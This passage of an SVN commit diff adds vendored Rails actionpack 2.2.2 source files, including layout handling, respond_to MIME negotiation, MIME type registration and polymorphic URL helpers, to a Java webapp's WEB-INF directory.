+    # (like "ruby test.rb -n /foo/") to fail because =~ doesn't work on
+    # symbols.
+    def initialize(name) #:nodoc:
+      super(name.to_s)
+    end
+
+    # Work around test/unit's requirement that every subclass of TestCase have
+    # at least one test method. Note that this implementation extends to all
+    # subclasses, as well, so subclasses of IntegrationTest may also exist
+    # without any test methods.
+    def run(*args) #:nodoc:
+      return if @method_name == "default_test"
+      super
+    end
+
+    # Because of how use_instantiated_fixtures and use_transactional_fixtures
+    # are defined, we need to treat them as special cases. Otherwise, users
+    # would potentially have to set their values for both Test::Unit::TestCase
+    # ActionController::IntegrationTest, since by the time the value is set on
+    # TestCase, IntegrationTest has already been defined and cannot inherit
+    # changes to those variables. So, we make those two attributes copy-on-write.
+
+    class << self
+      def use_transactional_fixtures=(flag) #:nodoc:
+        @_use_transactional_fixtures = true
+        @use_transactional_fixtures = flag
+      end
+
+      def use_instantiated_fixtures=(flag) #:nodoc:
+        @_use_instantiated_fixtures = true
+        @use_instantiated_fixtures = flag
+      end
+
+      def use_transactional_fixtures #:nodoc:
+        @_use_transactional_fixtures ?
+          @use_transactional_fixtures :
+          superclass.use_transactional_fixtures
+      end
+
+      def use_instantiated_fixtures #:nodoc:
+        @_use_instantiated_fixtures ?
+          @use_instantiated_fixtures :
+          superclass.use_instantiated_fixtures
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/layout.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/layout.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/layout.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,284 @@
+module ActionController #:nodoc:
+  module Layout #:nodoc:
+    def self.included(base)
+      base.extend(ClassMethods)
+      base.class_eval do
+        class << self
+          alias_method_chain :inherited, :layout
+        end
+      end
+    end
+
+    # Layouts reverse the common pattern of including shared headers and footers in many templates to isolate changes in
+    # repeated setups. The inclusion pattern has pages that look like this:
+    #
+    #   <%= render "shared/header" %>
+    #   Hello World
+    #   <%= render "shared/footer" %>
+    #
+    # This approach is a decent way of keeping common structures isolated from the changing content, but it's verbose
+    # and if you ever want to change the structure of these two includes, you'll have to change all the templates.
+    #
+    # With layouts, you can flip it around and have the common structure know where to insert changing content. This means
+    # that the header and footer are only mentioned in one place, like this:
+    #
+    #   // The header part of this layout
+    #   <%= yield %>
+    #   // The footer part of this layout
+    #
+    # And then you have content pages that look like this:
+    #
+    #    hello world
+    #
+    # At rendering time, the content page is computed and then inserted in the layout, like this:
+    #
+    #   // The header part of this layout
+    #   hello world
+    #   // The footer part of this layout
+    #
+    # NOTE: The old notation for rendering the view from a layout was to expose the magic <tt>@content_for_layout</tt> instance
+    # variable. The preferred notation now is to use <tt>yield</tt>, as documented above.
+    #
+    # == Accessing shared variables
+    #
+    # Layouts have access to variables specified in the content pages and vice versa. This allows you to have layouts with
+    # references that won't materialize before rendering time:
+    #
+    #   <h1><%= @page_title %></h1>
+    #   <%= yield %>
+    #
+    # ...and content pages that fulfill these references _at_ rendering time:
+    #
+    #    <% @page_title = "Welcome" %>
+    #    Off-world colonies offers you a chance to start a new life
+    #
+    # The result after rendering is:
+    #
+    #   <h1>Welcome</h1>
+    #   Off-world colonies offers you a chance to start a new life
+    #
+    # == Automatic layout assignment
+    #
+    # If there is a template in <tt>app/views/layouts/</tt> with the same name as the current controller then it will be automatically
+    # set as that controller's layout unless explicitly told otherwise. Say you have a WeblogController, for example. If a template named
+    # <tt>app/views/layouts/weblog.erb</tt> or <tt>app/views/layouts/weblog.builder</tt> exists then it will be automatically set as
+    # the layout for your WeblogController. You can create a layout with the name <tt>application.erb</tt> or <tt>application.builder</tt>
+    # and this will be set as the default controller if there is no layout with the same name as the current controller and there is
+    # no layout explicitly assigned with the +layout+ method. Nested controllers use the same folder structure for automatic layout.
+    # assignment. So an Admin::WeblogController will look for a template named <tt>app/views/layouts/admin/weblog.erb</tt>.
+    # Setting a layout explicitly will always override the automatic behaviour for the controller where the layout is set.
+    # Explicitly setting the layout in a parent class, though, will not override the child class's layout assignment if the child
+    # class has a layout with the same name.
+    #
+    # == Inheritance for layouts
+    #
+    # Layouts are shared downwards in the inheritance hierarchy, but not upwards. Examples:
+    #
+    #   class BankController < ActionController::Base
+    #     layout "bank_standard"
+    #
+    #   class InformationController < BankController
+    #
+    #   class VaultController < BankController
+    #     layout :access_level_layout
+    #
+    #   class EmployeeController < BankController
+    #     layout nil
+    #
+    # The InformationController uses "bank_standard" inherited from the BankController, the VaultController overwrites
+    # and picks the layout dynamically, and the EmployeeController doesn't want to use a layout at all.
+    #
+    # == Types of layouts
+    #
+    # Layouts are basically just regular templates, but the name of this template needs not be specified statically. Sometimes
+    # you want to alternate layouts depending on runtime information, such as whether someone is logged in or not. This can
+    # be done either by specifying a method reference as a symbol or using an inline method (as a proc).
+    #
+    # The method reference is the preferred approach to variable layouts and is used like this:
+    #
+    #   class WeblogController < ActionController::Base
+    #     layout :writers_and_readers
+    #
+    #     def index
+    #       # fetching posts
+    #     end
+    #
+    #     private
+    #       def writers_and_readers
+    #         logged_in? ? "writer_layout" : "reader_layout"
+    #       end
+    #
+    # Now when a new request for the index action is processed, the layout will vary depending on whether the person accessing
+    # is logged in or not.
+    #
+    # If you want to use an inline method, such as a proc, do something like this:
+    #
+    #   class WeblogController < ActionController::Base
+    #     layout proc{ |controller| controller.logged_in? ? "writer_layout" : "reader_layout" }
+    #
+    # Of course, the most common way of specifying a layout is still just as a plain template name:
+    #
+    #   class WeblogController < ActionController::Base
+    #     layout "weblog_standard"
+    #
+    # If no directory is specified for the template name, the template will by default be looked for in <tt>app/views/layouts/</tt>.
+    # Otherwise, it will be looked up relative to the template root.
+    #
+    # == Conditional layouts
+    #
+    # If you have a layout that by default is applied to all the actions of a controller, you still have the option of rendering
+    # a given action or set of actions without a layout, or restricting a layout to only a single action or a set of actions. The
+    # <tt>:only</tt> and <tt>:except</tt> options can be passed to the layout call. For example:
+    #
+    #   class WeblogController < ActionController::Base
+    #     layout "weblog_standard", :except => :rss
+    #
+    #     # ...
+    #
+    #   end
+    #
+    # This will assign "weblog_standard" as the WeblogController's layout  except for the +rss+ action, which will not wrap a layout
+    # around the rendered view.
+    #
+    # Both the <tt>:only</tt> and <tt>:except</tt> condition can accept an arbitrary number of method references, so
+    # #<tt>:except => [ :rss, :text_only ]</tt> is valid, as is <tt>:except => :rss</tt>.
+    #
+    # == Using a different layout in the action render call
+    #
+    # If most of your actions use the same layout, it makes perfect sense to define a controller-wide layout as described above.
+    # Sometimes you'll have exceptions where one action wants to use a different layout than the rest of the controller.
+    # You can do this by passing a <tt>:layout</tt> option to the <tt>render</tt> call. For example:
+    #
+    #   class WeblogController < ActionController::Base
+    #     layout "weblog_standard"
+    #
+    #     def help
+    #       render :action => "help", :layout => "help"
+    #     end
+    #   end
+    #
+    # This will render the help action with the "help" layout instead of the controller-wide "weblog_standard" layout.
+    module ClassMethods
+      # If a layout is specified, all rendered actions will have their result rendered
+      # when the layout <tt>yield</tt>s. This layout can itself depend on instance variables assigned during action
+      # performance and have access to them as any normal template would.
+      def layout(template_name, conditions = {}, auto = false)
+        add_layout_conditions(conditions)
+        write_inheritable_attribute(:layout, template_name)
+        write_inheritable_attribute(:auto_layout, auto)
+      end
+
+      def layout_conditions #:nodoc:
+        @layout_conditions ||= read_inheritable_attribute(:layout_conditions)
+      end
+
+      def default_layout(format) #:nodoc:
+        layout = read_inheritable_attribute(:layout)
+        return layout unless read_inheritable_attribute(:auto_layout)
+        @default_layout ||= {}
+        @default_layout[format] ||= default_layout_with_format(format, layout)
+        @default_layout[format]
+      end
+
+      def layout_list #:nodoc:
+        Array(view_paths).sum([]) { |path| Dir["#{path}/layouts/**/*"] }
+      end
+
+      private
+        def inherited_with_layout(child)
+          inherited_without_layout(child)
+          unless child.name.blank?
+            layout_match = child.name.underscore.sub(/_controller$/, '').sub(/^controllers\//, '')
+            child.layout(layout_match, {}, true) unless child.layout_list.grep(%r{layouts/#{layout_match}(\.[a-z][0-9a-z]*)+$}).empty?
+          end
+        end
+
+        def add_layout_conditions(conditions)
+          write_inheritable_hash(:layout_conditions, normalize_conditions(conditions))
+        end
+
+        def normalize_conditions(conditions)
+          conditions.inject({}) {|hash, (key, value)| hash.merge(key => [value].flatten.map {|action| action.to_s})}
+        end
+
+        def default_layout_with_format(format, layout)
+          list = layout_list
+          if list.grep(%r{layouts/#{layout}\.#{format}(\.[a-z][0-9a-z]*)+$}).empty?
+            (!list.grep(%r{layouts/#{layout}\.([a-z][0-9a-z]*)+$}).empty? && format == :html) ? layout : nil
+          else
+            layout
+          end
+        end
+    end
+
+    # Returns the name of the active layout. If the layout was specified as a method reference (through a symbol), this method
+    # is called and the return value is used. Likewise if the layout was specified as an inline method (through a proc or method
+    # object). If the layout was defined without a directory, layouts is assumed. So <tt>layout "weblog/standard"</tt> will return
+    # weblog/standard, but <tt>layout "standard"</tt> will return layouts/standard.
+    def active_layout(passed_layout = nil)
+      layout = passed_layout || self.class.default_layout(default_template_format)
+      active_layout = case layout
+        when String then layout
+        when Symbol then __send__(layout)
+        when Proc   then layout.call(self)
+      end
+
+      # Explicitly passed layout names with slashes are looked up relative to the template root,
+      # but auto-discovered layouts derived from a nested controller will contain a slash, though be relative
+      # to the 'layouts' directory so we have to check the file system to infer which case the layout name came from.
+      if active_layout
+        if active_layout.include?('/') && ! layout_directory?(active_layout)
+          active_layout
+        else
+          "layouts/#{active_layout}"
+        end
+      end
+    end
+
+    private
+      def candidate_for_layout?(options)
+        options.values_at(:text, :xml, :json, :file, :inline, :partial, :nothing, :update).compact.empty? &&
+          !@template.__send__(:_exempt_from_layout?, options[:template] || default_template_name(options[:action]))
+      end
+
+      def pick_layout(options)
+        if options.has_key?(:layout)
+          case layout = options.delete(:layout)
+          when FalseClass
+            nil
+          when NilClass, TrueClass
+            active_layout if action_has_layout? && !@template.__send__(:_exempt_from_layout?, default_template_name)
+          else
+            active_layout(layout)
+          end
+        else
+          active_layout if action_has_layout? && candidate_for_layout?(options)
+        end
+      end
+
+      def action_has_layout?
+        if conditions = self.class.layout_conditions
+          case
+            when only = conditions[:only]
+              only.include?(action_name)
+            when except = conditions[:except]
+              !except.include?(action_name)
+            else
+              true
+          end
+        else
+          true
+        end
+      end
+
+      def layout_directory?(layout_name)
+        @template.__send__(:_pick_template, "#{File.join('layouts', layout_name)}.#{@template.template_format}") ? true : false
+      rescue ActionView::MissingTemplate
+        false
+      end
+
+      def default_template_format
+        response.template.template_format
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/mime_responds.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/mime_responds.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/mime_responds.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,178 @@
+module ActionController #:nodoc:
+  module MimeResponds #:nodoc:
+    def self.included(base)
+      base.module_eval do
+        include ActionController::MimeResponds::InstanceMethods
+      end
+    end
+
+    module InstanceMethods
+      # Without web-service support, an action which collects the data for displaying a list of people
+      # might look something like this:
+      #
+      #   def index
+      #     @people = Person.find(:all)
+      #   end
+      #
+      # Here's the same action, with web-service support baked in:
+      #
+      #   def index
+      #     @people = Person.find(:all)
+      #
+      #     respond_to do |format|
+      #       format.html
+      #       format.xml { render :xml => @people.to_xml }
+      #     end
+      #   end
+      #
+      # What that says is, "if the client wants HTML in response to this action, just respond as we
+      # would have before, but if the client wants XML, return them the list of people in XML format."
+      # (Rails determines the desired response format from the HTTP Accept header submitted by the client.)
+      #
+      # Supposing you have an action that adds a new person, optionally creating their company
+      # (by name) if it does not already exist, without web-services, it might look like this:
+      #
+      #   def create
+      #     @company = Company.find_or_create_by_name(params[:company][:name])
+      #     @person  = @company.people.create(params[:person])
+      #
+      #     redirect_to(person_list_url)
+      #   end
+      #
+      # Here's the same action, with web-service support baked in:
+      #
+      #   def create
+      #     company  = params[:person].delete(:company)
+      #     @company = Company.find_or_create_by_name(company[:name])
+      #     @person  = @company.people.create(params[:person])
+      #
+      #     respond_to do |format|
+      #       format.html { redirect_to(person_list_url) }
+      #       format.js
+      #       format.xml  { render :xml => @person.to_xml(:include => @company) }
+      #     end
+      #   end
+      #
+      # If the client wants HTML, we just redirect them back to the person list. If they want Javascript
+      # (format.js), then it is an RJS request and we render the RJS template associated with this action.
+      # Lastly, if the client wants XML, we render the created person as XML, but with a twist: we also
+      # include the person's company in the rendered XML, so you get something like this:
+      #
+      #   <person>
+      #     <id>...</id>
+      #     ...
+      #     <company>
+      #       <id>...</id>
+      #       <name>...</name>
+      #       ...
+      #     </company>
+      #   </person>
+      #
+      # Note, however, the extra bit at the top of that action:
+      #
+      #   company  = params[:person].delete(:company)
+      #   @company = Company.find_or_create_by_name(company[:name])
+      #
+      # This is because the incoming XML document (if a web-service request is in process) can only contain a
+      # single root-node. So, we have to rearrange things so that the request looks like this (url-encoded):
+      #
+      #   person[name]=...&person[company][name]=...&...
+      #
+      # And, like this (xml-encoded):
+      #
+      #   <person>
+      #     <name>...</name>
+      #     <company>
+      #       <name>...</name>
+      #     </company>
+      #   </person>
+      #
+      # In other words, we make the request so that it operates on a single entity's person. Then, in the action,
+      # we extract the company data from the request, find or create the company, and then create the new person
+      # with the remaining data.
+      #
+      # Note that you can define your own XML parameter parser which would allow you to describe multiple entities
+      # in a single request (i.e., by wrapping them all in a single root node), but if you just go with the flow
+      # and accept Rails' defaults, life will be much easier.
+      #
+      # If you need to use a MIME type which isn't supported by default, you can register your own handlers in
+      # environment.rb as follows.
+      #
+      #   Mime::Type.register "image/jpg", :jpg
+      def respond_to(*types, &block)
+        raise ArgumentError, "respond_to takes either types or a block, never both" unless types.any? ^ block
+        block ||= lambda { |responder| types.each { |type| responder.send(type) } }
+        responder = Responder.new(self)
+        block.call(responder)
+        responder.respond
+      end
+    end
+
+    class Responder #:nodoc:
+      def initialize(controller)
+        @controller = controller
+        @request    = controller.request
+        @response   = controller.response
+
+        if ActionController::Base.use_accept_header
+          @mime_type_priority = Array(Mime::Type.lookup_by_extension(@request.parameters[:format]) || @request.accepts)
+        else
+          @mime_type_priority = [@request.format]
+        end
+
+        @order     = []
+        @responses = {}
+      end
+
+      def custom(mime_type, &block)
+        mime_type = mime_type.is_a?(Mime::Type) ? mime_type : Mime::Type.lookup(mime_type.to_s)
+
+        @order << mime_type
+
+        @responses[mime_type] ||= Proc.new do
+          @response.template.template_format = mime_type.to_sym
+          @response.content_type = mime_type.to_s
+          block_given? ? block.call : @controller.send(:render, :action => @controller.action_name)
+        end
+      end
+
+      def any(*args, &block)
+        if args.any?
+          args.each { |type| send(type, &block) }
+        else
+          custom(@mime_type_priority.first, &block)
+        end
+      end
+
+      def method_missing(symbol, &block)
+        mime_constant = symbol.to_s.upcase
+
+        if Mime::SET.include?(Mime.const_get(mime_constant))
+          custom(Mime.const_get(mime_constant), &block)
+        else
+          super
+        end
+      end
+
+      def respond
+        for priority in @mime_type_priority
+          if priority == Mime::ALL
+            @responses[@order.first].call
+            return
+          else
+            if @responses[priority]
+              @responses[priority].call
+              return # mime type match found, be happy and return
+            end
+          end
+        end
+
+        if @order.include?(Mime::ALL)
+          @responses[Mime::ALL].call
+        else
+          @controller.send :head, :not_acceptable
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/mime_type.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/mime_type.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/mime_type.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,204 @@
+require 'set'
+
+module Mime
+  SET              = []
+  EXTENSION_LOOKUP = Hash.new { |h, k| h[k] = Type.new(k) unless k.blank? }
+  LOOKUP           = Hash.new { |h, k| h[k] = Type.new(k) unless k.blank? }
+
+  # Encapsulates the notion of a mime type. Can be used at render time, for example, with:
+  #
+  #   class PostsController < ActionController::Base
+  #     def show
+  #       @post = Post.find(params[:id])
+  #
+  #       respond_to do |format|
+  #         format.html
+  #         format.ics { render :text => post.to_ics, :mime_type => Mime::Type["text/calendar"]  }
+  #         format.xml { render :xml => @people.to_xml }
+  #       end
+  #     end
+  #   end
+  class Type
+    @@html_types = Set.new [:html, :all]
+    cattr_reader :html_types
+
+    # These are the content types which browsers can generate without using ajax, flash, etc
+    # i.e. following a link, getting an image or posting a form.  CSRF protection
+    # only needs to protect against these types.
+    @@browser_generated_types = Set.new [:html, :url_encoded_form, :multipart_form, :text]
+    cattr_reader :browser_generated_types
+
+
+    @@unverifiable_types = Set.new [:text, :json, :csv, :xml, :rss, :atom, :yaml]
+    def self.unverifiable_types
+      ActiveSupport::Deprecation.warn("unverifiable_types is deprecated and has no effect", caller)
+      @@unverifiable_types
+    end
+
+    # A simple helper class used in parsing the accept header
+    class AcceptItem #:nodoc:
+      attr_accessor :order, :name, :q
+
+      def initialize(order, name, q=nil)
+        @order = order
+        @name = name.strip
+        q ||= 0.0 if @name == Mime::ALL # default wilcard match to end of list
+        @q = ((q || 1.0).to_f * 100).to_i
+      end
+
+      def to_s
+        @name
+      end
+
+      def <=>(item)
+        result = item.q <=> q
+        result = order <=> item.order if result == 0
+        result
+      end
+
+      def ==(item)
+        name == (item.respond_to?(:name) ? item.name : item)
+      end
+    end
+
+    class << self
+      def lookup(string)
+        LOOKUP[string]
+      end
+
+      def lookup_by_extension(extension)
+        EXTENSION_LOOKUP[extension]
+      end
+
+      # Registers an alias that's not used on mime type lookup, but can be referenced directly. Especially useful for
+      # rendering different HTML versions depending on the user agent, like an iPhone.
+      def register_alias(string, symbol, extension_synonyms = [])
+        register(string, symbol, [], extension_synonyms, true)
+      end
+
+      def register(string, symbol, mime_type_synonyms = [], extension_synonyms = [], skip_lookup = false)
+        Mime.instance_eval { const_set symbol.to_s.upcase, Type.new(string, symbol, mime_type_synonyms) }
+
+        SET << Mime.const_get(symbol.to_s.upcase)
+
+        ([string] + mime_type_synonyms).each { |string| LOOKUP[string] = SET.last } unless skip_lookup
+        ([symbol.to_s] + extension_synonyms).each { |ext| EXTENSION_LOOKUP[ext] = SET.last }
+      end
+
+      def parse(accept_header)
+        if accept_header !~ /,/
+          [Mime::Type.lookup(accept_header)]
+        else
+          # keep track of creation order to keep the subsequent sort stable
+          list = []
+          accept_header.split(/,/).each_with_index do |header, index| 
+            params, q = header.split(/;\s*q=/)       
+            if params
+              params.strip!          
+              list << AcceptItem.new(index, params, q) unless params.empty?
+            end
+          end
+          list.sort!
+
+          # Take care of the broken text/xml entry by renaming or deleting it
+          text_xml = list.index("text/xml")
+          app_xml = list.index(Mime::XML.to_s)
+
+          if text_xml && app_xml
+            # set the q value to the max of the two
+            list[app_xml].q = [list[text_xml].q, list[app_xml].q].max
+
+            # make sure app_xml is ahead of text_xml in the list
+            if app_xml > text_xml
+              list[app_xml], list[text_xml] = list[text_xml], list[app_xml]
+              app_xml, text_xml = text_xml, app_xml
+            end
+
+            # delete text_xml from the list
+            list.delete_at(text_xml)
+
+          elsif text_xml
+            list[text_xml].name = Mime::XML.to_s
+          end
+
+          # Look for more specific XML-based types and sort them ahead of app/xml
+
+          if app_xml
+            idx = app_xml
+            app_xml_type = list[app_xml]
+
+            while(idx < list.length)
+              type = list[idx]
+              break if type.q < app_xml_type.q
+              if type.name =~ /\+xml$/
+                list[app_xml], list[idx] = list[idx], list[app_xml]
+                app_xml = idx
+              end
+              idx += 1
+            end
+          end
+
+          list.map! { |i| Mime::Type.lookup(i.name) }.uniq!
+          list
+        end
+      end
+    end
+    
+    def initialize(string, symbol = nil, synonyms = [])
+      @symbol, @synonyms = symbol, synonyms
+      @string = string
+    end
+    
+    def to_s
+      @string
+    end
+    
+    def to_str
+      to_s
+    end
+    
+    def to_sym
+      @symbol || @string.to_sym
+    end
+
+    def ===(list)
+      if list.is_a?(Array)
+        (@synonyms + [ self ]).any? { |synonym| list.include?(synonym) }
+      else
+        super
+      end
+    end
+    
+    def ==(mime_type)
+      return false if mime_type.blank?
+      (@synonyms + [ self ]).any? do |synonym| 
+        synonym.to_s == mime_type.to_s || synonym.to_sym == mime_type.to_sym 
+      end
+    end
+
+    # Returns true if Action Pack should check requests using this Mime Type for possible request forgery.  See
+    # ActionController::RequestForgeryProtection.
+    def verify_request?
+      browser_generated?
+    end
+
+    def html?
+      @@html_types.include?(to_sym) || @string =~ /html/
+    end
+
+    def browser_generated?
+      @@browser_generated_types.include?(to_sym)
+    end
+
+    private
+      def method_missing(method, *args)
+        if method.to_s =~ /(\w+)\?$/
+          $1.downcase.to_sym == to_sym
+        else
+          super
+        end
+      end
+  end
+end
+
+require 'action_controller/mime_types'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/mime_types.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/mime_types.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/mime_types.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+# Build list of Mime types for HTTP responses
+# http://www.iana.org/assignments/media-types/
+
+Mime::Type.register "*/*", :all
+Mime::Type.register "text/plain", :text, [], %w(txt)
+Mime::Type.register "text/html", :html, %w( application/xhtml+xml ), %w( xhtml )
+Mime::Type.register "text/javascript", :js, %w( application/javascript application/x-javascript )
+Mime::Type.register "text/css", :css
+Mime::Type.register "text/calendar", :ics
+Mime::Type.register "text/csv", :csv
+Mime::Type.register "application/xml", :xml, %w( text/xml application/x-xml )
+Mime::Type.register "application/rss+xml", :rss
+Mime::Type.register "application/atom+xml", :atom
+Mime::Type.register "application/x-yaml", :yaml, %w( text/yaml )
+
+Mime::Type.register "multipart/form-data", :multipart_form
+Mime::Type.register "application/x-www-form-urlencoded", :url_encoded_form
+
+# http://www.ietf.org/rfc/rfc4627.txt
+# http://www.json.org/JSONRequest.html
+Mime::Type.register "application/json", :json, %w( text/x-json application/jsonrequest )
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/performance_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/performance_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/performance_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,16 @@
+require 'action_controller/integration'
+require 'active_support/testing/performance'
+require 'active_support/testing/default'
+
+module ActionController
+  # An integration test that runs a code profiler on your test methods.
+  # Profiling output for combinations of each test method, measurement, and
+  # output format are written to your tmp/performance directory.
+  #
+  # By default, process_time is measured and both flat and graph_html output
+  # formats are written, so you'll have two output files per test method.
+  class PerformanceTest < ActionController::IntegrationTest
+    include ActiveSupport::Testing::Performance
+    include ActiveSupport::Testing::Default
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/polymorphic_routes.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/polymorphic_routes.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/polymorphic_routes.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,198 @@
+module ActionController
+  # Polymorphic URL helpers are methods for smart resolution to a named route call when
+  # given an Active Record model instance. They are to be used in combination with
+  # ActionController::Resources.
+  #
+  # These methods are useful when you want to generate correct URL or path to a RESTful
+  # resource without having to know the exact type of the record in question.
+  #
+  # Nested resources and/or namespaces are also supported, as illustrated in the example:
+  #
+  #   polymorphic_url([:admin, @article, @comment])
+  #
+  # results in:
+  #   
+  #   admin_article_comment_url(@article, @comment)
+  #
+  # == Usage within the framework
+  #
+  # Polymorphic URL helpers are used in a number of places throughout the Rails framework:
+  #
+  # * <tt>url_for</tt>, so you can use it with a record as the argument, e.g.
+  #   <tt>url_for(@article)</tt>;
+  # * ActionView::Helpers::FormHelper uses <tt>polymorphic_path</tt>, so you can write
+  #   <tt>form_for(@article)</tt> without having to specify <tt>:url</tt> parameter for the form
+  #   action;
+  # * <tt>redirect_to</tt> (which, in fact, uses <tt>url_for</tt>) so you can write
+  #   <tt>redirect_to(post)</tt> in your controllers;
+  # * ActionView::Helpers::AtomFeedHelper, so you don't have to explicitly specify URLs
+  #   for feed entries.
+  #
+  # == Prefixed polymorphic helpers
+  #
+  # In addition to <tt>polymorphic_url</tt> and <tt>polymorphic_path</tt> methods, a
+  # number of prefixed helpers are available as a shorthand to <tt>:action => "..."</tt>
+  # in options. Those are:
+  #
+  # * <tt>edit_polymorphic_url</tt>, <tt>edit_polymorphic_path</tt>
+  # * <tt>new_polymorphic_url</tt>, <tt>new_polymorphic_path</tt>
+  # * <tt>formatted_polymorphic_url</tt>, <tt>formatted_polymorphic_path</tt>
+  #
+  # Example usage:
+  #
+  #   edit_polymorphic_path(@post)              # => "/posts/1/edit"
+  #   formatted_polymorphic_path([@post, :pdf]) # => "/posts/1.pdf"
+  module PolymorphicRoutes
+    # Constructs a call to a named RESTful route for the given record and returns the
+    # resulting URL string. For example:
+    #
+    #   # calls post_url(post)
+    #   polymorphic_url(post) # => "http://example.com/posts/1"
+    #   polymorphic_url([blog, post]) # => "http://example.com/blogs/1/posts/1"
+    #   polymorphic_url([:admin, blog, post]) # => "http://example.com/admin/blogs/1/posts/1"
+    #   polymorphic_url([user, :blog, post]) # => "http://example.com/users/1/blog/posts/1"
+    #
+    # ==== Options
+    #
+    # * <tt>:action</tt> - Specifies the action prefix for the named route:
+    #   <tt>:new</tt>, <tt>:edit</tt>, or <tt>:formatted</tt>. Default is no prefix.
+    # * <tt>:routing_type</tt> - Allowed values are <tt>:path</tt> or <tt>:url</tt>.
+    #   Default is <tt>:url</tt>.
+    #
+    # ==== Examples
+    #
+    #   # an Article record
+    #   polymorphic_url(record)  # same as article_url(record)
+    #
+    #   # a Comment record
+    #   polymorphic_url(record)  # same as comment_url(record)
+    #
+    #   # it recognizes new records and maps to the collection
+    #   record = Comment.new
+    #   polymorphic_url(record)  # same as comments_url()
+    #
+    def polymorphic_url(record_or_hash_or_array, options = {})
+      if record_or_hash_or_array.kind_of?(Array)
+        record_or_hash_or_array = record_or_hash_or_array.compact
+        record_or_hash_or_array = record_or_hash_or_array[0] if record_or_hash_or_array.size == 1
+      end
+
+      record    = extract_record(record_or_hash_or_array)
+      format    = extract_format(record_or_hash_or_array, options)
+      namespace = extract_namespace(record_or_hash_or_array)
+      
+      args = case record_or_hash_or_array
+        when Hash;  [ record_or_hash_or_array ]
+        when Array; record_or_hash_or_array.dup
+        else        [ record_or_hash_or_array ]
+      end
+
+      inflection =
+        case
+        when options[:action].to_s == "new"
+          args.pop
+          :singular
+        when record.respond_to?(:new_record?) && record.new_record?
+          args.pop
+          :plural
+        else
+          :singular
+        end
+
+      args.delete_if {|arg| arg.is_a?(Symbol) || arg.is_a?(String)}
+      args << format if format
+      
+      named_route = build_named_route_call(record_or_hash_or_array, namespace, inflection, options)
+
+      url_options = options.except(:action, :routing_type, :format)
+      unless url_options.empty?
+        args.last.kind_of?(Hash) ? args.last.merge!(url_options) : args << url_options
+      end
+
+      __send__(named_route, *args)
+    end
+
+    # Returns the path component of a URL for the given record. It uses
+    # <tt>polymorphic_url</tt> with <tt>:routing_type => :path</tt>.
+    def polymorphic_path(record_or_hash_or_array, options = {})
+      options[:routing_type] = :path
+      polymorphic_url(record_or_hash_or_array, options)
+    end
+
+    %w(edit new formatted).each do |action|
+      module_eval <<-EOT, __FILE__, __LINE__
+        def #{action}_polymorphic_url(record_or_hash, options = {})
+          polymorphic_url(record_or_hash, options.merge(:action => "#{action}"))
+        end
+
+        def #{action}_polymorphic_path(record_or_hash, options = {})
+          polymorphic_url(record_or_hash, options.merge(:action => "#{action}", :routing_type => :path))
+        end
+      EOT
+    end
+
+    private
+      def action_prefix(options)
+        options[:action] ? "#{options[:action]}_" : options[:format] ? "formatted_" : ""
+      end
+
+      def routing_type(options)
+        options[:routing_type] || :url
+      end
+
+      def build_named_route_call(records, namespace, inflection, options = {})
+        unless records.is_a?(Array)
+          record = extract_record(records)
+          route  = ''
+        else
+          record = records.pop
+          route = records.inject("") do |string, parent|
+            if parent.is_a?(Symbol) || parent.is_a?(String)
+              string << "#{parent}_"
+            else
+              string << "#{RecordIdentifier.__send__("singular_class_name", parent)}_"
+            end
+          end
+        end
+
+        if record.is_a?(Symbol) || record.is_a?(String)
+          route << "#{record}_"
+        else
+          route << "#{RecordIdentifier.__send__("#{inflection}_class_name", record)}_"
+        end
+
+        action_prefix(options) + namespace + route + routing_type(options).to_s
+      end
+
+      def extract_record(record_or_hash_or_array)
+        case record_or_hash_or_array
+          when Array; record_or_hash_or_array.last
+          when Hash;  record_or_hash_or_array[:id]
+          else        record_or_hash_or_array
+        end
+      end
+      
+      def extract_format(record_or_hash_or_array, options)
+        if options[:action].to_s == "formatted" && record_or_hash_or_array.is_a?(Array)
+          record_or_hash_or_array.pop
+        elsif options[:format]
